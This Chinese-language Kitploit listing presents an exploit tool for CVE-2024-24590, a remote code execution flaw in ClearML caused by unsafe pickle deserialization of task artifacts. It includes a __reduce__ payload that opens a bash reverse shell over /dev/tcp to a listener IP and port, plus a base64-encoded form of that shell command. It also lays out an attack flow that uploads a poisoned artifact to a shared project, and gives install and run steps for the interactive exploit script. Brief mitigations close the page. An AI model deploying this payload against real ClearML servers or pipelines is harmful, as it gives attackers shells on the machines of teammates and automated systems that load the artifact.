Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML 通过不安全的 pickle 工件反序列化导致 RCE (0.17.0–1.14.2) | Kitploit
工具/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队远程访问工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML 通过不安全的 pickle 工件反序列化导致 RCE (0.17.0–1.14.2)

查看仓库
624个月前尚未审核

CVE-2024-24590 — ClearML Pickle 工件远程代码执行(RCE)

概述

字段详情
CVECVE-2024-24590
软件ClearML
受影响版本0.17.0 – 1.14.2
漏洞类型任务工件的不安全 pickle 反序列化
认证要求需要对 ClearML 项目具有写入权限
影响在加载该工件的任何机器上实现远程代码执行
测试环境Ubuntu 22.04、Python 3.9+

描述

ClearML 是一个 MLOps 平台,用于跟踪实验、管理数据集并在团队成员之间共享工件(模型、文件、对象)。当任务工件以 Python 对象的形式上传时,ClearML 会使用 Python 的 pickle 模块对其进行序列化。当其他用户下载并加载该工件时,ClearML 也会使用 pickle 对其进行反序列化——不进行任何完整性校验或类白名单检查。

拥有共享 ClearML 项目写入权限的攻击者可以上传一个包含被重写的 __reduce__ 方法的恶意工件。任何获取并加载该工件的团队成员或自动化流水线都会在反序列化过程中执行攻击者的载荷,从而在其机器上实现 RCE。

技术细节

根本原因

Python 的 pickle 模块对于不可信输入本质上是不安全的。类上的 __reduce__ 魔术方法控制着对象在反序列化期间如何被重建——它可以返回任何可调用对象及参数,包括 os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

当对象被 pickle 并随后被反序列化(unpickle)时,Python 会在对象重建过程中调用 os.system(cmd)——调用方根本来不及检查该对象。

攻击流程

root@kitploit:~
Attacker (project write access)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML server stores artifact as a pickled binary blob
    │
    ▼
Victim fetches artifact (automated pipeline / manual review)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell connects back to attacker

载荷编码

反弹 Shell 命令在嵌入前会先进行 Base64 编码,以避免序列化字符串中出现 Shell 引号问题:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

前置条件

  • 一个 ClearML 账户,且对目标服务器上的至少一个项目具有写入权限
  • 受害者必须反序列化该工件(通过 ClearML SDK 获取)

安装

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

依赖项: clearml、pwntools、colorama

使用方法

root@kitploit:~
python3 exploit.py

交互式菜单将引导您完成两个步骤:

步骤 1 — 初始化 ClearML(option 1)

运行 clearml-init 为目标 ClearML 服务器配置凭据。会先备份任何已有的 ~/clearml.conf。

步骤 2 — 运行漏洞利用(option 2)

依次提示输入:

  • 您的监听器 IP
  • 您的监听器端口
  • 目标项目名称(区分大小写——必须是您拥有写入权限的项目)

可选:在上传工件之前自动启动一个 pwncat 监听器。

截图

缓解措施

  • 升级到 ClearML ≥ 1.14.3,该版本限制了工件反序列化
  • 审计项目访问控制——仅将写入权限授予受信任的用户
  • 如果使用旧版本,请将 ClearML 工件存储视为不可信的代码执行面

参考链接

  • NVD 条目
  • ClearML GitHub
  • Python pickle 安全警告
下载工具